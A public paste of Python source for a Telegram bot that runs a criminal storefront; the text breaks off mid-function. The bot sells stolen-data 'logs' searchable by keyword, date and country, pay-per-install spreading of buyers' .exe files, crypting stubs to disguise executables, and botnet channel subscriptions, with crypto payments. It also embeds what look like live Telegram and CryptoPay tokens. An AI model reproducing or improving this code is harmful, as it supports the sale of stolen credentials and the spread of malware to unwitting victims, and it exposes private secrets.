Create Paste
Top Pastes
Recent Pastes
Settings
Account
No title
Views:
57
Created:
Jun 2024
Expires:
1800
Visibility:
Public
View Raw
Download
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, CallbackQuery, Message from aiocryptopay import AioCryptoPay, Networks from pyrogram import Client, filters, enums from datetime import datetime, timedelta from pyrogram.enums import ParseMode import asyncio import zipfile import shutil import json import re import os api_id = "13340341" api_hash = "e83570d934a86b99cc9bdd3210c1d269" bot_token = "6721246452:AAHYnp2TfoZ56LtxE2tT5UGJL3QdXtxbSyg" app = Client("my_bot", api_id=api_id, api_hash=api_hash, bot_token=bot_token) balances = {} searches = {} sort_options = {} page_number = {} user_packages = {} user_shopping_cart = {} admins = [1902879847,1097234204,5543537764] moderator_ids = admins global plans plans = { "150": {"text": "1 Week - $150", "duration": "week", "amount": 150}, "500": {"text": "1 Month - $500", "duration": "month", "amount": 500}, "1200": {"text": "3 Months - $1200", "duration": "3 months", "amount": 1200} } global bot_plans bot_plans = { "750": {"text":"Lifetime - $750", "duration": "lifetime", "amount":750} } global folder_list global total_price global user_id_str global cnt global tmp tmp = 0 cnt = 0 def update_invoice_status(invoice_id, status): try: with open('invoices.json', 'r+') as f: invoices = json.load(f) except FileNotFoundError: invoices = {} invoices[invoice_id] = status with open('invoices.json', 'w') as f: json.dump(invoices, f, indent=4) def get_invoice_status(invoice_id): try: with open('invoices.json', 'r') as f: invoices = json.load(f) return invoices.get(invoice_id, 0) except FileNotFoundError: return 0 def count_folders(directory): return sum(os.path.isdir(os.path.join(directory, entry)) for entry in os.listdir(directory)) def add_user_id(user_id): user_id_str = str(user_id) with open("users.txt", "r+") as user_file: user_list = user_file.read().splitlines() if user_id_str not in user_list: user_file.write(user_id_str + '\n') initialize_user_balance(user_id) def is_user_registered(user_id): with open("users.txt", "r") as user_file: user_list = user_file.read().splitlines() return str(user_id) in user_list def validate_date(date_text): try: datetime.strptime(date_text, "%d %b %Y") return True except ValueError: return False def generate_unique_id(user_id): counters = {} if os.path.exists('counters.json'): with open('counters.json', 'r') as f: counters = json.load(f) user_counter = counters.get(str(user_id), 0) + 1 counters[str(user_id)] = user_counter with open('counters.json', 'w') as f: json.dump(counters, f) return f"{user_id}_{user_counter}" if os.path.exists('balances.json'): with open('balances.json', 'r') as f: balances = json.load(f) def initialize_user_balance(user_id): user_id_str = str(user_id) try: with open('balances.json', 'r') as f: balances = json.load(f) except FileNotFoundError: balances = {} if user_id_str not in balances: balances[user_id_str] = 0 with open('balances.json', 'w') as f: json.dump(balances, f, indent=4) @app.on_message(filters.command('stats') & filters.user(moderator_ids)) async def stats_command(client, message: Message): await message.reply_document("users.txt") await message.reply_document("balances.json") await message.reply_document("processed_invoices.json") @app.on_message(filters.command("installs")) async def installs(client, message): buttons = [ [InlineKeyboardButton(text="10000 MIX - 749$", callback_data="price_10000MIX-749$")], [InlineKeyboardButton(text="5000 MIX - 449$", callback_data="price_5000MIX-449$")], [InlineKeyboardButton(text="3000 MIX - 279$", callback_data="price_3000MIX-279$")], [InlineKeyboardButton(text="1000 MIX - 99$", callback_data="price_1000MIX-99$")] ] await message.reply_text("**Please select the quantity :**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons)) @app.on_callback_query(filters.regex(r'^price_')) async def on_price_callback(client, callback_query): data = callback_query.data try: price_info = data.split("_")[1] amount, price = price_info.split("MIX")[0].strip(), price_info.split("-")[1].strip().replace("$", "") buttons = [ [InlineKeyboardButton("✅Confirm✅", callback_data=f"cnfirm_{amount}_{price}")], [InlineKeyboardButton("❌Cancel❌", callback_data="cancel")] ] await callback_query.message.edit_text( f"**Do you want to buy **`{amount} MIX` **for** `${price}`**?**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons) ) user_packages[str(callback_query.from_user.id)] = f"{amount} MIX - ${price}" except (IndexError, ValueError) as e: await callback_query.message.reply_text( "**An error occurred while processing your request. Please try again.**", parse_mode=ParseMode.MARKDOWN ) @app.on_callback_query(filters.regex(r'^cnfirm_')) async def on_confirm_callback(client, callback_query): data = callback_query.data _, amount, price = data.split("_") chat_id = callback_query.message.chat.id user_balance = balances.get(str(chat_id), 0) if user_balance >= int(price): balances[str(chat_id)] -= int(price) with open('balances.json', 'w') as f: json.dump(balances, f) await callback_query.message.edit_text( "**Purchase successful. Please send the .exe file you want to spread. (DO NOT SEND ANYTHING ELSE OTHER THAN .exe)**", parse_mode=ParseMode.MARKDOWN ) else: await callback_query.message.edit_text( "**You do not have enough balance to make this purchase.**", parse_mode=ParseMode.MARKDOWN ) @app.on_message(filters.private & filters.incoming & filters.document) async def forward_to_admins(client, message): if message.document.mime_type == "application/x-ms-dos-executable": user_id = message.from_user.id username = message.from_user.username package_name = user_packages.get(str(user_id), "Unknown Package") for admin_id in admins: await message.forward(admin_id) message_text = ( f"User ID: `{user_id}`\n" f"Username: @{username}\n" f"Package: `{package_name}`\n" f"Link: [[Permanent Link]](tg://user?id={user_id})" ) await app.send_message( admin_id, message_text, parse_mode=ParseMode.MARKDOWN ) await message.reply_text("**Your .exe file has been sent to the admin.**",parse_mode=ParseMode.MARKDOWN) else: await message.reply_text("**Only .exe files can be sent to the admin. Please send the correct file type.**",parse_mode=ParseMode.MARKDOWN) broadcast_text = None broadcast_type = None @app.on_message(filters.command('broadcast') & filters.user(moderator_ids)) async def broadcast_command(client, message: Message): global broadcast_text if len(message.command) < 2: await message.reply_text("**Usage: /broadcast [message]**", parse_mode=ParseMode.MARKDOWN) return broadcast_text = message.text.split(None, 1)[1] keyboard = InlineKeyboardMarkup([ [InlineKeyboardButton("Text", callback_data="text"), InlineKeyboardButton("Image or GIF", callback_data="media")] ]) await message.reply_text("**📣 Choose the type of broadcast :📣 **", reply_markup=keyboard) @app.on_callback_query(filters.user(moderator_ids) & filters.regex("^text$")) async def broadcast_text_callback(client, callback_query: CallbackQuery): global broadcast_type, broadcast_text broadcast_type = "text" with open("users.txt", "r") as user_file: user_list = user_file.read().splitlines() total_users = len(user_list) successful_messages = 0 for user_id in user_list: try: await client.send_message(int(user_id), broadcast_text, parse_mode=ParseMode.MARKDOWN) successful_messages += 1 except Exception as e: pass await callback_query.message.reply_text(f"**Broadcasted message to {successful_messages}/{total_users} users.**", parse_mode=ParseMode.MARKDOWN) broadcast_text = None broadcast_type = None @app.on_callback_query(filters.user(moderator_ids) & filters.regex("^media$")) async def broadcast_media_callback(client, callback_query: CallbackQuery): global broadcast_type broadcast_type = "media" await callback_query.message.reply_text("**Now send the image or gif you want to broadcast.**", parse_mode=ParseMode.MARKDOWN) @app.on_message(filters.user(moderator_ids) & (filters.photo | filters.animation)) async def broadcast_message(client, message: Message): global broadcast_text, broadcast_type if broadcast_type != "media" or broadcast_text is None: return with open("users.txt", "r") as user_file: user_list = user_file.read().splitlines() total_users = len(user_list) successful_messages = 0 for user_id in user_list: try: if message.photo: await client.send_photo(int(user_id), photo=message.photo.file_id, caption=broadcast_text, parse_mode=ParseMode.MARKDOWN) elif message.animation: await client.send_animation(int(user_id), animation=message.animation.file_id, caption=broadcast_text, parse_mode=ParseMode.MARKDOWN) successful_messages += 1 except Exception as e: pass await message.reply_text(f"**Broadcasted message to {successful_messages}/{total_users} users.**", parse_mode=ParseMode.MARKDOWN) broadcast_text = None broadcast_type = None crypto = AioCryptoPay(token='152041:AAFuM6FkQNdUusJTkpnG8qEqZNS0UduE6PB', network=Networks.MAIN_NET) @app.on_message(filters.command("start")) async def start_command(client, message): add_user_id(message.from_user.id) global cnt cnt=0 user_id_str = str(message.from_user.id) user_shopping_cart[user_id_str] = { 'selected_folders': [], 'continue_shopping': True } welcome_message = ( '''**Welcome to your bot!\n Here's what you can do:\n /start - To clear your cart and restart the bot\n /search - Search logs\n /all_logs - View all available logs\n /installs - To get installs of your exe\n /cloud_logs - To get subscription of cloud logs chanenl\n /balance - Check your balance\n /check - To confirm invoice after payment\n /botnet - To get subscription of botnet channel\n /crypt - To get your exe crypted\n To use any command, simply type it in the chat and press enter.\n You can also use the buttons below for quick access.**''' ) all_logs_button = InlineKeyboardButton("📜 All Logs 📜", callback_data="all_logs") search_button = InlineKeyboardButton("🔍 Search 🔍", callback_data="search") balance_button = InlineKeyboardButton("💸 Balance 💸", callback_data="balance") installs_button = InlineKeyboardButton("⬇️ Installs ⬇️", callback_data="installs") cloud_logs_button = InlineKeyboardButton("☁️ Cloud Logs ☁️", callback_data="cloud_logs") help_button = InlineKeyboardButton("❓ Help ❓", url="t.me/Deathmatix") botnet_button = InlineKeyboardButton("🤖Botnet.Course🤖", callback_data="botnet") crypt_button = InlineKeyboardButton("🦠 Crypt 🦠", callback_data="crypt") keyboard = InlineKeyboardMarkup([ [all_logs_button], [search_button, balance_button], [installs_button, cloud_logs_button], [botnet_button, crypt_button], [help_button] ]) await message.reply_text(welcome_message, parse_mode=ParseMode.MARKDOWN, reply_markup=keyboard) @app.on_message(filters.command("crypt") & filters.private) async def crypt_command(client, message): buttons = [ [InlineKeyboardButton(text="Public Stub - 50$", callback_data="priced_PublicStub-50$")], [InlineKeyboardButton(text="Semi Private Stub - 120$", callback_data="priced_SemiPrivateStub-120$")], [InlineKeyboardButton(text="Private Stub - 200$", callback_data="priced_PrivateStub-200$")], ] await message.reply_text("**Please select the quantity :**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons)) @app.on_callback_query(filters.regex(r'^priced_')) async def on_price_callback(client, callback_query): data = callback_query.data try: price_info = data.split("_")[1] global plaan plaan, price = price_info.split("-")[0].strip(), price_info.split("-")[1].strip().replace("$", "") buttons = [ [InlineKeyboardButton("✅Confirm✅", callback_data=f"cnfirmd_{plaan}_{price}")], [InlineKeyboardButton("❌Cancel❌", callback_data="cancel")] ] await callback_query.message.edit_text( f"**Do you want to buy **`{plaan} ` **for** `${price}`**?**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons) ) user_packages[str(callback_query.from_user.id)] = f"{plaan} - ${price}" except (IndexError, ValueError) as e: await callback_query.message.reply_text( "**An error occurred while processing your request. Please try again.**", parse_mode=ParseMode.MARKDOWN ) @app.on_callback_query(filters.regex(r'^cnfirmd_')) async def on_confirm_callback(client, callback_query): data = callback_query.data _, plaan, price = data.split("_") chat_id = callback_query.message.chat.id user_balance = balances.get(str(chat_id), 0) if user_balance >= int(price): balances[str(chat_id)] -= int(price) with open('balances.json', 'w') as f: json.dump(balances, f) await callback_query.message.edit_text( "**Purchase successful. Please send the .exe file you want to spread. (DO NOT SEND ANYTHING ELSE OTHER THAN .exe)**", parse_mode=ParseMode.MARKDOWN ) else: await callback_query.message.edit_text( "**You do not have enough balance to make this purchase.**", parse_mode=ParseMode.MARKDOWN ) @app.on_message(filters.private & filters.incoming & filters.document) async def forward_to_admins(client, message): global plaan if message.document.mime_type == "application/x-ms-dos-executable": user_id = message.from_user.id username = message.from_user.username package_name = user_packages.get(str(user_id), "Unknown Package") for admin_id in admins: await message.forward(admin_id) message_text = ( f"User ID: `{user_id}`\n" f"Username: @{username}\n" f"Package: `{package_name}`\n" f"Plan : `{plaan}`\n" f"Link: [[Permanent Link]](tg://user?id={user_id})" ) await app.send_message( admin_id, message_text, parse_mode=ParseMode.MARKDOWN ) await message.reply_text("**Your .exe file has been sent to the admin.**",parse_mode=ParseMode.MARKDOWN) else: await message.reply_text("**Only .exe files can be sent to the admin. Please send the correct file type.**",parse_mode=ParseMode.MARKDOWN) @app.on_message(filters.command("cloud_logs") & filters.private) async def cloud_logs_command(client, message): global plans buttons = [[InlineKeyboardButton(plans[price]["text"], callback_data=f"pay_{price}")] for price in plans] await message.reply_text( "**Choose a subscription plan:**", reply_markup=InlineKeyboardMarkup(buttons), parse_mode=ParseMode.MARKDOWN ) @app.on_callback_query(filters.regex(r'^pay_(\d+)$')) async def on_pay_crypto(client, callback_query): plan_id = callback_query.data.split('_')[1] global plan plan = plans.get(plan_id) if plan: fiat_invoice = await crypto.create_invoice(amount=plan["amount"], fiat='USD', currency_type='fiat') update_invoice_status(fiat_invoice.invoice_id, 0) await callback_query.message.edit_text( f"**Payment of **`${plan['amount']:.2f}`** for {plan['duration']} - Click the button below to pay. After payment, click 'Check' to confirm.**", reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton("🚀 Pay Now 🚀", url=fiat_invoice.bot_invoice_url)], [InlineKeyboardButton("✅ Check", callback_data=f"check_{fiat_invoice.invoice_id}")] ]), parse_mode=ParseMode.MARKDOWN ) @app.on_callback_query(filters.regex(r'^check_(.+)$')) async def on_check_payment(client, callback_query): global plan invoice_id = callback_query.data.split('_')[1] if get_invoice_status(invoice_id) == 1: await callback_query.message.reply_text("**This invoice has already been used.**") return old_invoice = await crypto.get_invoices(invoice_ids=[invoice_id]) if old_invoice and len(old_invoice) > 0 and old_invoice[0].status == 'paid': update_invoice_status(invoice_id, 1) await callback_query.message.reply_text("**Your subscription has been activated!**", parse_mode=ParseMode.MARKDOWN) channel1_id = -1001637758708 channel2_id = -1002061772120 current_time = datetime.now() expire_time = current_time + timedelta(minutes=5) invite_link1 = await app.create_chat_invite_link(channel1_id, expire_date=expire_time, member_limit=1) invite_link2 = await app.create_chat_invite_link(channel2_id, expire_date=expire_time, member_limit=1) update_invoice_status(invoice_id, 1) await callback_query.message.delete() await callback_query.message.reply_text( f"**Here are your private links to join the channels. \n [They only work once and will expire in 1 minutes so don't share it]:\n\n Channel 1 = ** {invite_link1.invite_link} \n\n **Channel 2 = ** {invite_link2.invite_link}", parse_mode=ParseMode.MARKDOWN ) purchase_details = f"UserID: {callback_query.from_user.id}, Username: @{callback_query.from_user.username}, Plan: {plan['duration']}, Invoice ID: {invoice_id}" for mod_id in moderator_ids: await app.send_message(mod_id, purchase_details) else: await callback_query.message.reply_text("**Payment not confirmed yet. Please check again later.**", parse_mode=ParseMode.MARKDOWN) @app.on_callback_query(filters.regex(r'^cancel$')) async def on_cancel(client, callback_query): await callback_query.message.edit_text("**Payment cancelled.**", parse_mode=ParseMode.MARKDOWN) @app.on_callback_query(filters.regex("^botnet$")) async def botnet_callback(client, callback_query: CallbackQuery): await callback_query.message.delete() await botnet_command(client, callback_query.message) @app.on_message(filters.command("botnet") & filters.private) async def botnet_command(client, message): global bot_plans buttons = [[InlineKeyboardButton(bot_plans[price]["text"], callback_data=f"pay_botnet_{price}")] for price in bot_plans] await message.reply_text( "**Choose a subscription plan:**", reply_markup=InlineKeyboardMarkup(buttons), parse_mode=ParseMode.MARKDOWN ) @app.on_callback_query(filters.regex(r'^pay_botnet_(\d+)$')) async def on_pay_crypto(client, callback_query): bot_plan_id = callback_query.data.split('_')[2] global bot_plans global bot_plan bot_plan = bot_plans.get(bot_plan_id) if bot_plan: try: fiat_invoice = await crypto.create_invoice(amount=bot_plan["amount"], fiat='USD', currency_type='fiat') update_invoice_status(fiat_invoice.invoice_id, 0) await callback_query.message.edit_text( f"**Payment of **`${bot_plan['amount']:.2f}`** for {bot_plan['duration']} - Click the button below to pay. After payment, click 'Check' to confirm.**", reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton("🚀 Pay Now 🚀", url=fiat_invoice.bot_invoice_url)], [InlineKeyboardButton("✅ Check", callback_data=f"checks_{fiat_invoice.invoice_id}")] ]), parse_mode=ParseMode.MARKDOWN ) except Exception as e: await callback_query.message.reply_text( "**Failed to create invoice. Please try again later.**", parse_mode=ParseMode.MARKDOWN ) print(f"Failed to create invoice: {e}") @app.on_callback_query(filters.regex(r'^checks_(.+)$')) async def oon_check_payment(client, callback_query): global bot_plan invoice_id = callback_query.data.split('_')[1] if get_invoice_status(invoice_id) == 1: await callback_query.message.reply_text("**This invoice has already been used.**") return old_invoice = await crypto.get_invoices(invoice_ids=[invoice_id]) if old_invoice and len(old_invoice) > 0 and old_invoice[0].status == 'paid': update_invoice_status(invoice_id, 1) await callback_query.message.reply_text("**Your subscription has been activated!**", parse_mode=ParseMode.MARKDOWN) bot_channel_id = -1001879554028 current_time = datetime.now() expire_time = current_time + timedelta(minutes=5) invite_link = await app.create_chat_invite_link(bot_channel_id, expire_date=expire_time, member_limit=1) update_invoice_status(invoice_id, 1) await callback_query.message.delete() await callback_query.message.reply_text(f"**Here are your private links to join the channels. \n [They only work once and will expire in 1 minutes so don't share it]:\n\n Channel 1 = ** {invite_link.invite_link}",parse_mode=ParseMode.MARKDOWN) purchase_details = f"UserID: {callback_query.from_user.id}, Username: @{callback_query.from_user.username}, Botnet Plan: {bot_plan['duration']}, Invoice ID: {invoice_id}" for mod_id in moderator_ids: await app.send_message(mod_id, purchase_details) else: await callback_query.message.reply_text("**Payment not confirmed yet. Please check again later.**", parse_mode=ParseMode.MARKDOWN) @app.on_callback_query(filters.regex("^crypt$")) async def cloud_callback(client, callback_query: CallbackQuery): await callback_query.message.delete() await crypt_command(client, callback_query.message) @app.on_callback_query(filters.regex("^cloud_logs$")) async def cloud_callback(client, callback_query: CallbackQuery): await callback_query.message.delete() await cloud_logs_command(client, callback_query.message) @app.on_callback_query(filters.regex("^all_logs$")) async def logs_callback(client, callback_query: CallbackQuery): await callback_query.message.delete() await all_logs_command(client, callback_query.message) @app.on_callback_query(filters.regex("^search$")) async def search_callback(client, callback_query: CallbackQuery): global cnt cnt=0 await callback_query.message.delete() await search(client, callback_query.message) @app.on_callback_query(filters.regex("^balance$")) async def balance_callback(client, callback_query: CallbackQuery): await callback_query.answer() user_id_str = str(callback_query.from_user.id) with open('balances.json', 'r') as f: balances = json.load(f) balance = balances.get(user_id_str, 0) buttons = [ [InlineKeyboardButton(text="💸Add Balance💸", callback_data="add_balance")] ] await callback_query.message.edit_text(f"**Your balance is: ${balance:.2f}\nYour User ID:** `{callback_query.from_user.id}`", reply_markup=InlineKeyboardMarkup(buttons)) @app.on_callback_query(filters.regex("^installs$")) async def installs_callback(client, callback_query: CallbackQuery): await callback_query.message.delete() await installs(client, callback_query.message) async def all_logs_command(client, message): global cnt cnt = 0 logs_directory = "." all_logs = get_all_logs(logs_directory) cnt = len(all_logs) await display_results(client, message.chat.id, all_logs) def get_all_logs(directory): return [os.path.join(directory, d) for d in os.listdir(directory) if os.path.isdir(os.path.join(directory, d))] @app.on_message(filters.command("all_logs")) async def handle_all_logs_command(client, message): await all_logs_command(client, message) @app.on_message(filters.command("balance") & filters.private) async def balance_command(client, message): user_id_str = str(message.from_user.id) with open('balances.json', 'r') as f: balances = json.load(f) balance = balances.get(user_id_str, 0) buttons = [ [InlineKeyboardButton(text="💸Add Balance💸", callback_data="add_balance")] ] await message.reply_text(f"**Your balance is: ${balance:.2f}\nYour User ID:** `{message.from_user.id}`", reply_markup=InlineKeyboardMarkup(buttons)) @app.on_callback_query(filters.regex(r'^add_balance$')) async def on_add_balance(client: Client, callback_query: CallbackQuery): await callback_query.message.edit_text( "**How much would you like to add to your balance? (Minimum $40)**",parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton("❌Cancel❌", callback_data="cancel")] ]) ) @app.on_callback_query(filters.regex(r'^cancel(?:_(.+))?$')) async def on_cancel(client: Client, callback_query: CallbackQuery): if callback_query.data.startswith("cancel_"): invoice_id = callback_query.data.split('_')[1] await crypto.delete_invoice(invoice_id=invoice_id) await callback_query.message.edit_text("**Transaction cancelled.**",parse_mode=ParseMode.MARKDOWN) @app.on_message(filters.regex(r'^\d+$') & filters.private) async def on_amount_entered(client: Client, message): global amount amount = int(message.text) if amount < 40: await message.reply_text("**The minimum amount is $40. Please enter a valid amount.**",parse_mode=ParseMode.MARKDOWN) else: amount_minus_fee = amount - (amount * 0.06) fee = amount-amount_minus_fee await message.reply_text( f"**You will be paying** `${amount+fee:.2f}` **- (Network fees of **`${fee:.2f}` ** included.**)", reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton("BTC", callback_data=f"pay_BTC_{amount+fee}")], [InlineKeyboardButton("USDT", callback_data=f"pay_USDT_{amount+fee}")], [InlineKeyboardButton("LTC", callback_data=f"pay_LTC_{amount+fee}")], [InlineKeyboardButton("❌Cancel❌", callback_data="cancel")] ]) ) @app.on_callback_query(filters.regex(r'^pay_(BTC|USDT|LTC)_(\d+(\.\d+)?)$')) async def on_pay_crypto(client: Client, callback_query: CallbackQuery): _, asset, amount_str = callback_query.data.split('_') global amount amount = float(amount_str) amount_minus_fee = amount - (amount * 0.06) fee = amount-amount_minus_fee amount_crypto = await crypto.get_amount_by_fiat(summ=amount, asset=asset, target='USD') invoice = await crypto.create_invoice(asset=asset, amount=amount_crypto) await callback_query.message.edit_text( f"**Payment of **`${amount:.2f}`** - Click the button below to pay. \nAfter payment do** `/check {invoice.invoice_id}` **to add the amount to your account.**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton("🚀Pay🚀", url=invoice.bot_invoice_url)], [InlineKeyboardButton("✅Check✅",callback_data=f"check_{invoice.invoice_id}")], [InlineKeyboardButton("❌Cancel❌", callback_data=f"cancel_{invoice.invoice_id}")] ]) ) @app.on_callback_query(filters.regex(r'^check(?:_(.+))?$')) async def on_cancel(client: Client, callback_query: CallbackQuery): invoice_id = callback_query.data.split('_')[1] if callback_query.data.startswith("check_"): try: with open('processed_invoices.json', 'r') as f: processed_invoices = json.load(f) except FileNotFoundError: processed_invoices = {} if invoice_id in processed_invoices: await callback_query.message.edit_text("**This invoice has already been processed.**", parse_mode=ParseMode.MARKDOWN) return old_invoice = await crypto.get_invoices(invoice_ids=[invoice_id]) if old_invoice and old_invoice[0].status == "paid": paid_amount = old_invoice[0].paid_amount fee_amount = old_invoice[0].fee_amount usd_rate = old_invoice[0].paid_usd_rate final_amount_usd = round((paid_amount - fee_amount) * usd_rate) user_id_str = str(callback_query.from_user.id) try: with open('balances.json', 'r') as f: balances = json.load(f) except FileNotFoundError: balances = {} balances[user_id_str] = balances.get(user_id_str, 0) + final_amount_usd with open('balances.json', 'w') as f: json.dump(balances, f) processed_invoices[invoice_id] = "processed" with open('processed_invoices.json', 'w') as f: json.dump(processed_invoices, f) message_text = f'''**Payment - `${final_amount_usd}`**\n**User -**` {callback_query.from_user.id}`''' await app.send_message(chat_id="1902879847", text=message_text, parse_mode=ParseMode.MARKDOWN) await callback_query.message.edit_text(f"**Payment of `${final_amount_usd}` has been added to your balance.**", parse_mode=ParseMode.MARKDOWN) elif old_invoice and old_invoice[0].status == "active": await callback_query.message.reply_text("**The payment is still active and hasn't been completed.**", parse_mode=ParseMode.MARKDOWN) else: await callback_query.message.reply_text("**No such invoice found or it has already been processed.**", parse_mode=ParseMode.MARKDOWN) await crypto.close() @app.on_message(filters.command("check") & filters.private) async def check_payment_status(client, message): crypto = AioCryptoPay(token='152041:AAFuM6FkQNdUusJTkpnG8qEqZNS0UduE6PB', network=Networks.MAIN_NET) args = message.text.split() if len(args) < 2: await message.reply_text("**Please provide an invoice ID. Usage: /check {invoice_id}**", parse_mode=ParseMode.MARKDOWN) return invoice_id = args[1] try: with open('processed_invoices.json', 'r') as f: processed_invoices = json.load(f) except FileNotFoundError: processed_invoices = {} if invoice_id in processed_invoices: await message.reply_text("**This invoice has already been processed.**", parse_mode=ParseMode.MARKDOWN) return old_invoice = await crypto.get_invoices(invoice_ids=[invoice_id]) if old_invoice and old_invoice[0].status == "paid": paid_amount = old_invoice[0].paid_amount fee_amount = old_invoice[0].fee_amount usd_rate = old_invoice[0].paid_usd_rate final_amount_usd = round((paid_amount-fee_amount)*usd_rate) user_id_str = str(message.from_user.id) balances[user_id_str] = balances.get(user_id_str, 0) + final_amount_usd with open('balances.json', 'w') as f: json.dump(balances, f) processed_invoices[invoice_id] = "processed" with open('processed_invoices.json', 'w') as f: json.dump(processed_invoices, f) message_text = f'''**Payment - `${final_amount_usd}`**\n**User -**` {message.from_user.id}`''' await app.send_message(chat_id="1902879847", text=message_text, parse_mode=ParseMode.MARKDOWN) await message.reply_text(f"**Payment of `${final_amount_usd}` **has been added to your balance.**", parse_mode=ParseMode.MARKDOWN) elif old_invoice and old_invoice[0].status == "active": await message.reply_text("**The payment is still active and hasn't been completed.**", parse_mode=ParseMode.MARKDOWN) else: await message.reply_text("**No such invoice found or it has already been processed.**", parse_mode=ParseMode.MARKDOWN) await crypto.close() @app.on_message(filters.command("add") & filters.user(admins)) async def add_balance(client, message): try: parts = message.text.split() if len(parts) != 3: await message.reply_text("**Invalid command format. Use /add {user_id} {amount}**", parse_mode=ParseMode.MARKDOWN) return user_id, amount = parts[1], float(parts[2]) user_id_str = str(user_id) balances[user_id_str] = balances.get(user_id_str, 0) + amount with open('balances.json', 'w') as f: json.dump(balances, f) message_text = f'''**Payment - `${amount}`**\n**User -**` {user_id}`''' await app.send_message(chat_id="1902879847", text=message_text, parse_mode=ParseMode.MARKDOWN) await message.reply_text(f"**Added `${amount}` **to user** `{user_id}` **- Their new balance is** `${balances[user_id_str]}`") except ValueError: await message.reply_text("**Invalid command format. Use /add {user_id} {amount}**", parse_mode=ParseMode.MARKDOWN) @app.on_callback_query() async def handle_callback_query(client, callback_query): data = callback_query.data chat_id = callback_query.message.chat.id await callback_query.message.delete() if data == "add_balance": await callback_query.message.reply_text("**Contact @Deathmatix to add balance.**", parse_mode=ParseMode.MARKDOWN) elif data == "keyword": sort_options[chat_id] = "keyword" await client.send_message(chat_id, "**Please enter a keyword to search.**", parse_mode=ParseMode.MARKDOWN) elif data == "date": sort_options[chat_id] = "date" await client.send_message(chat_id, "**Please enter a date in the format '30 Jan 2024'.**", parse_mode=ParseMode.MARKDOWN) elif data == "country": sort_options[chat_id] = "country" await client.send_message(chat_id, "**Please enter a country abbreviation to search.\nRefer to [this list](https://telegra.ph/LIST-OF-COUNTRIES-WITH-ABBREVIATIONS-02-06) for the abbreaviations. **", parse_mode=ParseMode.MARKDOWN) elif data.startswith("next_") or data.startswith("prev_"): global tmp current_page = page_number.get(chat_id, 0) if data.startswith("next_"): page_number[chat_id] = current_page + 1 elif data.startswith("prev_") and current_page > 0: page_number[chat_id] = current_page - 1 await display_results(client, chat_id, searches[chat_id], edit=True) elif data.startswith("folder_"): global folder_list folder_name = callback_query.data.split("folder_")[1] chat_id = callback_query.message.chat.id user_id_str = str(chat_id) if user_id_str not in user_shopping_cart: user_shopping_cart[user_id_str] = { 'selected_folders': [], 'continue_shopping': True } user_shopping_cart[user_id_str]['selected_folders'].append(folder_name) buttons = [ [InlineKeyboardButton("Yes, add more", callback_data="add_more")], [InlineKeyboardButton("No, proceed to checkout", callback_data="proceed_checkout")] ] await client.send_message(chat_id, f"**⬇️ Added to cart ⬇️\n\n`{(folder_name).split(os.sep)[-1]}` \n\n Would you like to add more folders?**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons)) elif data.startswith("confirm_"): total_price = callback_query.data.split("confirm_")[1] total_price = int(total_price) user_id_str = str(chat_id) user_balance = balances.get(str(chat_id), 0) await callback_query.message.reply_text("**Sending files...**", parse_mode=ParseMode.MARKDOWN) if user_balance >= total_price: balances[str(chat_id)] -= total_price with open('balances.json', 'w') as f: json.dump(balances, f) folder_list = user_shopping_cart[user_id_str]['selected_folders'] for folder_path in folder_list: zip_file_path = f"{folder_path}.zip" zipf = zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) zipdir(folder_path, zipf) zipf.close() await client.send_document(chat_id, zip_file_path) os.remove(zip_file_path) if os.path.exists(folder_path): shutil.rmtree(folder_path) await client.send_message(chat_id, f"**Purchase successful.** `{total_price}$`** has been deducted from your balance.**", parse_mode=ParseMode.MARKDOWN) user_shopping_cart[user_id_str]['selected_folders'] = [] user_shopping_cart[user_id_str]['continue_shopping'] = False else: await client.send_message(chat_id, "**You do not have enough balance to make this purchase.**", parse_mode=ParseMode.MARKDOWN) user_shopping_cart[user_id_str]['selected_folders'] = [] user_shopping_cart[user_id_str]['continue_shopping'] = False elif data == "cancel": await client.send_message(chat_id, "**Purchase cancelled.**", parse_mode=ParseMode.MARKDOWN) user_shopping_cart[user_id_str]['selected_folders'] = [] user_shopping_cart[user_id_str]['continue_shopping'] = False elif data == "add_more": chat_id = callback_query.message.chat.id user_id_str = str(chat_id) all_results = searches[chat_id] selected_folders = user_shopping_cart[user_id_str]['selected_folders'] updated_results = [folder for folder in all_results if folder not in selected_folders] await display_results(client, chat_id, updated_results, edit=True) elif data == "proceed_checkout": chat_id = callback_query.message.chat.id user_id_str = str(chat_id) selected_folders = user_shopping_cart[user_id_str]['selected_folders'] total_price = len(selected_folders) * 2 folder_list = '\n'.join([folder.split(os.sep)[-1] for folder in selected_folders]) buttons = [ [InlineKeyboardButton("✅Confirm✅", callback_data=f"confirm_{total_price}")], [InlineKeyboardButton("❌Cancel❌", callback_data="cancel")] ] await client.send_message(chat_id, f"**You have selected the following folders:**\n\n`{(folder_list)}`\n\n**Total price:** `${total_price}`", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons)) @app.on_message(filters.command("search")) async def search(client, message): global cnt cnt=0 user_id_str = str(message.from_user.id) user_shopping_cart[user_id_str] = { 'selected_folders': [], 'continue_shopping': True } user_id_str = str(message.from_user.id) page_number[user_id_str] = 0 buttons = [ [InlineKeyboardButton(text="Keyword", callback_data="keyword")], [InlineKeyboardButton(text="Date", callback_data="date")], [InlineKeyboardButton(text="Country", callback_data="country")] ] await message.reply_text("**Please select a sorting option:**", parse_mode=ParseMode.MARKDOWN, reply_markup=InlineKeyboardMarkup(buttons)) @app.on_message(filters.text) async def handle_text(client, message): chat_id = message.chat.id if message.text.startswith('/'): return if chat_id in sort_options: await client.send_message(chat_id,"**Searching for matching results....**", parse_mode=ParseMode.MARKDOWN) page_number[chat_id] = 0 if sort_options[chat_id] == "keyword": keyword = 